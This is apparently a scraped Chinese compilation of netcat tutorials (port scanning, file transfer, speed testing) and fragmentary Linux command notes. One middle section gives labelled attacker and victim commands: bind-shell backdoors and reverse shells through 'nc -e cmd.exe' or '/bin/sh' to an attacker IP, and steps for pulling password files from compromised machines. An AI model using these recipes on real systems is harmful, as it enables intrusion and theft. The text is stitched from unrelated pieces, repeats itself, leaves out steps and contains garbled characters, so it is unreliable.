1. 認識nc,tcp/udp網路測試
什麼是nc
nc是netcat的簡寫,有著網路界的瑞士軍刀美譽。因為它短小精悍、功能實用,被設計為一個簡單、可靠的網路工具
nc的作用
(1)實現任意TCP/UDP埠的偵聽,nc可以作為server以TCP或UDP方式偵聽指定埠
(2)埠的掃描,nc可以作為client發起TCP或UDP連接
(3)機器之間傳輸文件
(4)機器之間網路測速
nc的控制參數不少,常用的幾個參數如下所列:
1) -l
用於指定nc將處於偵聽模式。指定該參數,則意味著nc被當作server,偵聽並接受連接,而非向其它地址發起連接。
2) -p <port>
暫未用到(老版本的nc可能需要在埠號前加-p參數,下面測試環境是centos6.6,nc版本是nc-1.84,未用到-p參數)
3) -s
指定發送數據的源IP地址,適用於多網卡機
4) -u
指定nc使用UDP協議,默認為TCP
5) -v
輸出交互或出錯信息,新手調試時尤為有用
6)-w
超時秒數,後面跟數字
7)-z
表示zero,表示掃描時不發送任何數據
前期准備
准備兩台機器,用於測試nc命令的用法
主機A:ip地址 10.0.1.161
主機B:ip地址 10.0.1.162
兩台機器先安裝nc和nmap的包
yum install nc -y
yum install nmap -y
如果提示如下-bash: nc: command not found 表示沒安裝nc的包
nc用法1,網路連通性測試和埠掃描
nc可以作為server端啟動一個tcp的監聽(注意,此處重點是起tcp,下面還會講udp)
先關閉A的防火牆,或者放行下面埠,然後測試B機器是否可以訪問A機器啟動的埠
在A機器上啟動一個埠監聽,比如 9999埠(注意:下面的-l 是小寫的L,不是數字1)
默認情況下下面監聽的是一個tcp的埠
nc -l 9999
客戶端測試, 測試方法1
在B機器上telnet A機器此埠,如下顯示表示B機器可以訪問A機器此埠
客戶端測試,測試方法2
B機器上也可以使用nmap掃描A機器的此埠
nmap 10.0.1.161 -p9999
客戶端測試,測試方法3
使用nc命令作為客戶端工具進行埠探測
nc -vz -w 2 10.0.1.161 9999
(-v可視化,-z掃描時不發送數據,-w超時幾秒,後面跟數字)
上面命令也可以寫成
nc -vzw 2 10.0.1.161 9999
客戶端測試,測試方法4(和方法3相似,但用處更大)
nc可以可以掃描連續埠,這個作用非常重要。常常可以用來掃描伺服器埠,然後給伺服器安全加固
在A機器上監聽2個埠,一個9999,一個9998,使用&符號丟入後台
在客戶端B機器上掃描連續的兩個埠,如下
nc作為server端啟動一個udp的監聽(注意,此處重點是起udp,上面主要講了tcp)
啟動一個udp的埠監聽
nc -ul 9998
復制當前窗口輸入 netstat -antup |grep 9998 可以看到是啟動了udp的監聽
客戶端測試,測試方法1
nc -vuz 10.0.1.161 9998
由於udp的埠無法在客戶端使用telnet去測試,我們可以使用nc命令去掃描(前面提到nc還可以用來掃描埠)
(telnet是運行於tcp協議的)
(u表示udp埠,v表示可視化輸出,z表示掃描時不發送數據)
上面在B機器掃描此埠的時候,看到A機器下面出現一串XXXXX字元串
客戶端測試,測試方法2
nmap -sU 10.0.1.161 -p 9998 -Pn
(它暫無法測試nc啟動的udp埠,每次探測nc作為server端啟動的udp埠時,會導致對方退出偵聽,有這個bug,對於一些程序啟動的udp埠在使用nc掃描時不會有此bug)
下面,A機器啟動一個udp的埠監聽,埠為9998
在復制的窗口上可以確認已經在監聽了
B機器使用nmap命令去掃描此udp埠,在掃描過程中,導致A機器的nc退出監聽。所以顯示埠關閉了(我推測是掃描時發數據導致的)
nmap -sU 10.0.1.161 -p 9998 -Pn
-sU :表示udp埠的掃描
-Pn :如果伺服器禁PING或者放在防火牆下面的,不加-Pn 參數的它就會認為這個掃描的主機不存活就不會進行掃描了,如果不加-Pn就會像下面的結果一樣,它也會進行提示你添加上-Pn參數嘗試的
注意:如果A機器開啟了防火牆,掃描結果可能會是下面狀態。(不能確定對方是否有監聽9998埠)
既然上面測試無法使用nmap掃描nc作為服務端啟動的埠,我們可以使用nmap掃描其餘的埠
(額,有點跑題了,講nmap的用法了,沒關系,主要為了說明nmap是也可以用來掃描udp埠的,只是掃描nc啟動的埠會導致對方退出埠監聽)
下面,A機器上rpcbind服務,監聽在udp的111埠
在B機器上使用nmap掃描此埠,是正常的檢測到處於open狀態
客戶端測試,測試方法3
nc掃描大量udp埠
掃描過程比較慢,可能是1秒掃描一個埠,下面表示掃描A機器的1到1000埠(暫未發現可以在一行命令中掃描分散的幾個埠的方法)
nc -vuz 10.0.1.161 1-1000
nc用法2,使用nc傳輸文件和目錄
方法1,傳輸文件演示(先啟動接收命令)
使用nc傳輸文件還是比較方便的,因為不用scp和rsync那種輸入密碼的操作了
把A機器上的一個rpm文件發送到B機器上
需注意操作次序,receiver先偵聽埠,sender向receiver所在機器的該埠發送數據。
步驟1,先在B機器上啟動一個接收文件的監聽,格式如下
意思是把賴在9995埠接收到的數據都寫到file文件里(這里文件名隨意取)
nc -l port >file
nc -l 9995 >zabbix.rpm
步驟2,在A機器上往B機器的9995埠發送數據,把下面rpm包發送過去
nc 10.0.1.162 9995 < zabbix-release-2.4-1.el6.noarch.rpm
B機器接收完畢,它會自動退出監聽,文件大小和A機器一樣,md5值也一樣
方法2,傳輸文件演示(先啟動發送命令)
步驟1,先在B機器上,啟動發送文件命令
下面命令表示通過本地的9992埠發送test.mv文件
nc -l 9992 <test.mv
步驟2,A機器上連接B機器,取接收文件
下面命令表示通過連接B機器的9992埠接收文件,並把文件存到本目錄下,文件名為test2.mv
nc 10.0.1.162 9992 >test2.mv
方法3,傳輸目錄演示(方法發送文件類似)
步驟1,B機器先啟動監聽,如下
A機器給B機器發送多個文件
傳輸目錄需要結合其它的命令,比如tar
經過我的測試管道後面最後必須是 - ,不能是其餘自定義的文件名
nc -l 9995 | tar xfvz -
步驟2,A機器打包文件並連接B機器的埠
管道前面表示把當前目錄的所有文件打包為 - ,然後使用nc發送給B機器
tar cfz - * | nc 10.0.1.162 9995
B機器這邊已經自動接收和解壓
nc用法3,測試網速
測試網速其實利用了傳輸文件的原理,就是把來自一台機器的/dev/zero 發送給另一台機器的/dev/null
就是把一台機器的無限個0,傳輸給另一個機器的空設備上,然後新開一個窗口使用dstat命令監測網速
在這之前需要保證機器先安裝dstat工具
yum install -y dstat
方法1,測試網速演示(先啟動接收命令方式)
步驟1,A機器先啟動接收數據的命令,監聽自己的9991埠,把來自這個埠的數據都輸出給空設備(這樣不寫磁碟,測試網速更准確)
nc -l 9991 >/dev/null
步驟2,B機器發送數據,把無限個0發送給A機器的9991埠
nc 10.0.1.161 9991 </dev/zero
在復制的窗口上使用dstat命令查看當前網速,dstat命令比較直觀,它可以查看當前cpu,磁碟,網路,內存頁和系統的一些當前狀態指標。
我們只需要看下面我選中的這2列即可,recv是receive的縮寫,表示接收的意思,send是發送數據,另外注意數字後面的單位B,KB,MB
可以看到A機器接收數據,平均每秒400MB左右
B機器新打開的窗口上執行dstat,看到每秒發送400MB左右的數據
方法2,測試網速演示(先啟動發送命令方式)
步驟1,先啟動發送的數據,誰連接這個埠時就會接收來自zero設備的數據(二進制的無限個0)
nc -l 9990 </dev/zero
步驟2,下面B機器連接A機器的9990埠,把接收的數據輸出到空設備上
nc 10.0.1.161 9990 >/dev/null
同樣可以使用dstat觀察數據發送時的網速
:https://www.cnblogs.com/nmap/p/6148306.html
2. linux和windows有沒有發送tcp協議消息的命令行程序
可以建立埠監聽並響應操作,可以連接埠發起請求。netcat既可以作為server端,也可以作為client端。具體例子比如埠掃面,聊天,傳文件等:
http://www.oschina.net/translate/linux-netcat-command
Ubuntu上默認安裝的是netcat-openbsd,而不是經典的netcat-traditional.
網上例子很多都是以netcat-traditional為例.
sudo apt-get -y install netcat-traditional
設置默認的nc,選擇/bin/nc.traditional:
sudo update-alternatives --config nc
3. 真正試過的人進:如何打開電腦的某個埠
用瑞士軍刀——netcat
命令格式:nc -l -p 你要開放的埠
有關nc的用法一定要在cmd瑞士軍刀所在目錄下用
其他用法:
NC這個黑客必備的武器,被稱為」瑞士軍刀」可見功能之強大.
對比win2000微軟的telnet.exe和微軟的tlntsvr.exe服務,連接的時候就可以看出來了.
1.1 NC.EXE是一個非標準的telnet客戶端程序,
1.2 還有一個putty.exe客戶端程序,提供四種連接模式
-raw -telnet -rlogin -ssh.
雖然現在也新出了GUI版的中文「NC」,但是相比起來還是這個好用。
######################################################################
2. Netcat 1.10 for NT 幫助信息
######################################################################
C:WINDOWSDesktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (後台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本幫助信息)
-i secs delay interval for lines sent, ports scanned (延遲時間)
-l listen mode, for inbound connects (監聽模式,等待連接)
-L listen harder, re-listen on socket close (連接關閉後,仍然繼續監聽)
-n numeric-only IP addresses, no DNS (ip數字模式,非dns解析)
-o file hex mp of traffic (十六進制模式輸出文件,三段)
-p port local port number (本地埠)
-r randomize local and remote ports (隨機本地遠程埠)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (掃描模式,-vv)
port numbers can be indivial or ranges: m-n [inclusive]
######################################################################
3. Netcat 1.10 常用的命令格式
######################################################################
3.1.埠的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open
3.2.掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡,系統管理員會額外小心
3.3. 後門
victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連接victim_IP,然後得到一個shell。
3.2.掃描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
這樣掃描會留下大量的痕跡,系統管理員會額外小心
3.3. 後門
victim machine: //受害者的機器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連接victim_IP,然後得到一個shell。
3.4.反向連接
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.
//或者wollf的反向連接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 cmd.exe nc attacker_ip port2
nc attacker_ip port1 /bin/sh nc attacker_ip port2
139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP)
這樣就可以保證nc.exe優先於NETBIOS。 3.5.傳送文件:
3.5.1 attacker machine <-- victim machine //從肉雞拖密碼文件回來.
nc -d -l -p port < pathfiledest /*attacker machine*/ 可以shell執行
nc -vv attacker_ip port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd.exe裡面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
3.5.2 attacker machine --> victim machine //上傳命令文件到肉雞
nc -vv -l -p port > pathfile.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < pathfiledest /*attacker machine*/ 可以shell執行
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.
結論: 可以傳輸ascii,bin文件.可以傳輸程序文件.
問題:連接某個ip後,傳送完成後,需要發送Ctrl+C退出nc.exe .
或者只有再次連接使用pskill.exe 殺掉進程.但是是否釋放傳輸文件打開的句柄了?
3.6 埠數據抓包.
nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自動批處理。
nc victim_ip port < pathfile.cmd /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < pathfile.cmd /*victim machine*/ 顯示執行過程.
nc -d victim_ip port < pathfile.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd
md test
cd /d %windir%system32
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
4. linux怎麼安裝netcat
下載
下載的是netcat-0.7.1.tar.gz版本,存放在當前目錄下
wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/
解壓
將 netcat-0.7.1.tar.gz 解壓到 /usr/local 目錄下
tar -zxvf netcat-0.7.1.tar.gz -C /usr/local
重命名
切換到 /usr/local 目錄下:cd /usr/local
改名:mv netcat-0.7.1 netcat
配置
切換目錄:cd /usr/local/netcat
把文件配置到 /opt/netcat 下,卸載軟體時,只要刪除這個文件就行了:./configure –prefix=/opt/netcat
編譯安裝
編譯:make
安裝:make install
配置環境變數 vim /etc/profile添加以下內容:# set netcat
pathexport NETCAT_HOME=/opt/netcatexport
PATH=$PATH:$NETCAT_HOME/bin保存,退出,並使配置生效:source /etc/profile
驗證nc –help
5. Linux命令
快照功能:記錄當前的硬碟的狀態。剛建快照時快照佔用內存為0,標記了當前硬碟的存儲狀態。當虛擬機對快照標記的內容改寫時,會將改寫的內容存儲進快照,與未改寫的部分整合得到完整的快照。當快照標記的部分被完全改寫,那麼快照存儲空間完整記錄了當時拍攝時的內存狀態。
參數形式
第一種:參數用一橫的說明後面的參數是字元形式。
第二種:參數用兩橫的說明後面的參數是單詞形式。
第三種:參數前有橫的老鏈頃是 System V風格。
第四種:參數前沒有橫的是 BSD風格。
cat、more、less、head、tail命令的比較:
cat命令可以一次顯示整個文件,如果文件比較大,使用不是很方便;
more命令可以讓屏幕在顯示滿一屏幕時暫停,按空格往前翻頁,按b往後翻頁。
less命令也可以分頁顯示文件,和more命令的區別就在於: 支持上下鍵卷動屏幕、查找;不需要在一開始就讀取整個文件,打開大文件時比more、vim更快。
head命令用於查看文件的前n行。
tail命令用於查看文件的後n行,加上-f命令,查看在線日誌非常方便,可以列印最新增加的日誌。
一般模式:
編輯模式:
命令模式:
編碼
多行操作(列編輯模式)
插入:ctrl+v進入列編輯模式,上下移動游標選擇需要插入的位置,然後輸入大寫I,輸入需要文本,最後按esc鍵退出,就會發現文本會在選擇的多行中插入。
刪除:ctrl+v進入列編輯模式,上下移動游標選中需要刪除的部分,然後按d,就會刪除選中的內容。
①head:顯示文件頭部內容
②tail:輸出文件尾部內容
注意:用vim和vi修改內容會刪除源文件並生成新文件,所以tail -f會失效。需要用到
追加和覆蓋語句(>或>>),才能被tail -f監視到。
一般用於查看小文件
查看壓縮文件中的文本內容
例:
①more:文件內容分屏查看器
②less:分屏顯示文件內容,效率比more高
1、簡單讀取
運行腳本如下
測試結果為:
2、-p 參數,允許在 read 命令行中直接指定一個提示。
運行腳本如下
測試結果為:
echo [選項] [輸出內容] (輸出內容到控制台)
輸出給定文本的sha256加密後的內容
①顯示當前時間信息
②顯示當前時間年月日
③顯示當侍陸前時間年月日時分秒
④顯示昨天
⑤顯示明天時間
⑥顯示上個月時間
需要注意的是取下個月的命令存在bug,執行如下命令會得到21-10,但是正常應該得到21-09,需要注意
date -d "2021-08-31 +1 month" +%y-%m
⑦修改系統時間
⑧獲取當前時間戳
獲取秒時間戳: date +%s
獲喚襪取毫秒時間戳:$[ (date +%s%N) /1000000]
查看日歷
(1)查看當前月的日歷
(2)查看2017年的日歷
例:
對比gzip/gunzip,zip/unzip可以壓縮文件和目錄且保留源文件。
①zip:壓縮
②unzip:解壓縮
只能壓縮文件不能壓縮目錄,不保留原來的文件。
gzip 文件 (只能將文件壓縮為*.gz文件)
gunzip 文件.gz (解壓縮文件命令)
例: crontab -e
(1)進入crontab編輯界面。會打開vim編輯你的工作。
(2)每隔1分鍾,向/root/longma.txt文件中添加一個11的數字
*/1 * * * * /bin/echo 」11」 >> /root/longma.txt
(3)可以用tail -f 目標文件來實施監控追加的內容
查看日誌
可以用tail -f /var/log/cron.log觀察
Cron表達式見文章: https://www.jianshu.com/writer#/notebooks/46619194/notes/75177408
ls [選項] [目錄或是文件]
cd [參數]
例: cd -P $(dirname $p1) ; pwd 先跳轉到文件的所在目錄,再列印$p1文件的實際路徑
概述
①cp():只能在本機中復制
②scp(secure ):可以復制文件給遠程主機
scp -r test.sh hxr@hadoop102:/root
③rsync(remote sync):功能與scp相同,但是不會改文件屬性
rsync -av test.sh test.sh hxr@hadoop102:/root
④nc(netcat):監聽埠,可以實現機器之間傳輸文件。
nc -lk 7777 (-l表示listen,-k表示keep)
強制覆蓋不提示的方法:cp
例:scp -r test.sh hxr@bigdata1:/root
例:rsync -av test.sh hxr@bigdata1:/root
例:
nc -lp 10000 > nc_test.txt
nc -w 1 hadoop102 < nc_test.txt
遠程登錄時默認使用的私鑰為~/.ssh/id_rsa
生成密鑰對
將公鑰發送到本機
將密鑰發送到需要登錄到本機的伺服器上
修改密鑰的許可權
遠程登陸
如果有多個節點需要遠程登陸,可以在.ssh下創建config並輸入
再次登陸
①正向代理:
②反向代理:
所謂「反向代理」就是讓遠端啟動埠,把遠端埠數據轉發到本地。
HostA 將自己可以訪問的 HostB:PortB 暴露給外網伺服器 HostC:PortC,在 HostA 上運行:
那麼鏈接 HostC:PortC 就相當於鏈接 HostB:PortB。
使用時需修改 HostC 的 /etc/ssh/sshd_config 的一條配置如下,不然啟動的進程監聽的ip地址為127.0.0.1,即只有本機可以訪問該埠。
相當於內網穿透,比如 HostA 和 HostB 是同一個內網下的兩台可以互相訪問的機器,HostC是外網跳板機,HostC不能訪問 HostA,但是 HostA 可以訪問 HostC。
那麼通過在內網 HostA 上運行 ssh -R 告訴 HostC,創建 PortC 埠監聽,把該埠所有數據轉發給我(HostA),我會再轉發給同一個內網下的 HostB:PortB。
同內網下的 HostA/HostB 也可以是同一台機器,換句話說就是 內網 HostA 把自己可以訪問的埠暴露給了外網 HostC。
例: 比如在我的內網機192.168.32.244上有一個RabbitMQ的客戶端,埠號為15672。現在我希望在外網上訪問固定ip的雲伺服器chenjie.asia的6009埠,通過跳板機192.168.32.243來轉發請求到192.168.32.244:15672,從而實現在外網訪問內網服務的功能,即內網穿透。
①在192.168.32.244上啟動RabbitMQ服務
②將chenjie.asia雲伺服器的私鑰復制到跳板機192.168.32.243的~/.ssh下,並重命名為id_rsa。通過如下命令看是否可以遠程登陸到雲服務,可以登陸則進行下一步。
③修改chenjie.asia伺服器的ssh配置文件 /etc/ssh/sshd_config ,允許其他節點訪問
然後重啟sshd服務
④在跳板機192.168.32.243啟動ssh反向代理
這個進程在關閉session時會停止,可以添加啟動參數 -CPfN
例:
以 root 身份執行的程序有了所有特權,這會帶來安全風險。Kernel 從 2.2 版本開始,提供了 Capabilities 功能,它把特權劃分成不同單元,可以只授權程序所需的許可權,而非所有特權。
例如:linux不允許非root賬號只用1024以下的埠,使用root啟動命令nginx,會導致nginx許可權過高太危險。所以用setcap命令
sudo setcap cap_net_bind_service=+eip /bigdata/nginx/sbin/nginx
正確的關機流程為 :sync > shutdown > reboot > halt
(1)sync (功能描述:將數據由內存同步到硬碟中)
(2)halt (功能描述:關閉系統,等同於shutdown -h now 和 poweroff)
(3)reboot (功能描述:就是重啟,等同於 shutdown -r now)
(4)shutdown [選項] [時間]
安裝
yum install -y telnet-server telnet
ls -i 顯示文件的節點號
find -inum 節點號 -delete 刪除指定的節點即可刪除對應的文件
啟動一個服務: systemctl start postfix.service
關閉一個服務: systemctl stop postfix.service
重啟一個服務: systemctl restart postfix.service
顯示一個服務的狀態: systemctl status postfix.service
在開機時啟用一個服務: systemctl enable postfix.service
在開機時禁用一個服務: systemctl disable postfix.service
註:在enable的時候會列印出來該啟動文件的位置
列出所有已經安裝的服務及狀態:
systemctl list-units
systemctl list-unit-files
查看服務列表狀態:
systemctl list-units --type=service
查看服務是否開機啟動: systemctl is-enabled postfix.service
查看已啟動的服務列表: systemctl list-unit-files | grep enabled
查看啟動失敗的服務列表: systemctl --failed
查看服務日誌: journalctl -u postfix -n 10 -f
命令類似systemctl,用於操作native service。
添加腳本為服務(需要指定啟動級別和優先順序): chkconfig --add [腳本]
刪除服務: chkconfig --del [腳本]
單獨查看某一服務是否開機啟動的命令 : chkconfig --list [服務名]
單獨開啟某一服務的命令 : chkconfig [服務名] on
單獨關閉某一服務的命令: chkconfig [服務名] off
查看某一服務的狀態: /etc/intd.d/[服務名] status
啟用服務就是在當前"runlevel"的配置文件目錄 /etc/systemd/system/multi-user.target.wants 里,建立 /usr/lib/systemd/system 裡面對應服務配置文件的軟鏈接;禁用服務就是刪除此軟鏈接,添加服務就是添加軟連接。
su 用戶名稱 (切換用戶,只能獲得用戶的執行許可權,不能獲得環境變數)
su - 用戶名稱 (切換到用戶並獲得該用戶的環境變數及執行許可權)
echo $PATH 列印環境變數
設置普通用戶具有root許可權
修改 /etc/sudoers 文件,找到下面一行(91行),在root下面添加一行,如下 所示:
或者配置成採用sudo命令時,不需要輸入密碼
修改完畢,現在可以用hxr 帳號登錄,然後用命令 sudo ,即可獲得root許可權進行操作。
以azkaban用戶執行引號中的命令
gpasswd -d [username] [groupname] 將用戶從組中刪除
gpasswd -a [username] [groupname] 將用戶加入到組中
用戶組的管理涉及用戶組的添加、刪除和修改。組的增加、刪除和修改實際上就是對 /etc/group文件的更新。
0首位表示類型 - 代表文件 d 代表目錄 l 鏈接文檔(link file)
三種特殊許可權suid、sgid、sticky
例子:
變更文件許可權方式一
例:chmod u-x,o+x houge.txt
變更文件許可權方式二
例:chmod -R 777 /mnt/ 修改整個文件夾的文件許可權
在linux中創建文件或者目錄會有一個默認許可權的,這個默認許可權是由umask決定的(默認為0022)。umask設置的是許可權的「補碼」,而我們常用chmod設置的是文件許可權碼。一般在/etc/profile 、~/.bashprofile 或者 ~/.profile中設置umask值。
umask計算
如root用戶的默認umask為0022(第一個0 代表特殊許可權位,這里先不考慮),創建的文件默認許可權是644(即默認666掩上umask的022),創建的目錄是755(即默認777掩上umask的022)。
對於root用戶的umask=022這個來說,777許可權二進制碼就是(111)(111)(111),022許可權二進制碼為(000)(010)(010)。
上面就是一個umask的正常計算過程,但是這樣實在是太麻煩了。我們使用如下的簡單的方法快速計算。
上面的這個方法計算是非常方便的, 為何得到奇數要+1呢?
文件的最大許可權是666,都是偶數,你得到奇數,說明你的umask有奇數啊,讀為4,寫為2,都是偶數,說明你有執行許可權的。
就按照上面的umask=023為例,在計算其他用戶許可權的時候6-3=3 ,6是讀寫,3是寫和執行,其實應該是讀寫許可權減去讀許可權的得到寫許可權的,相當於我們多減去了一個執行許可權。所以結果加1。
umask修改
如果想單獨修改某個文件夾的新建文件的許可權,可以使用setfacl命令。
例:遞歸改變文件所有者和所有組 chown -R hxr:hxr /mnt
例: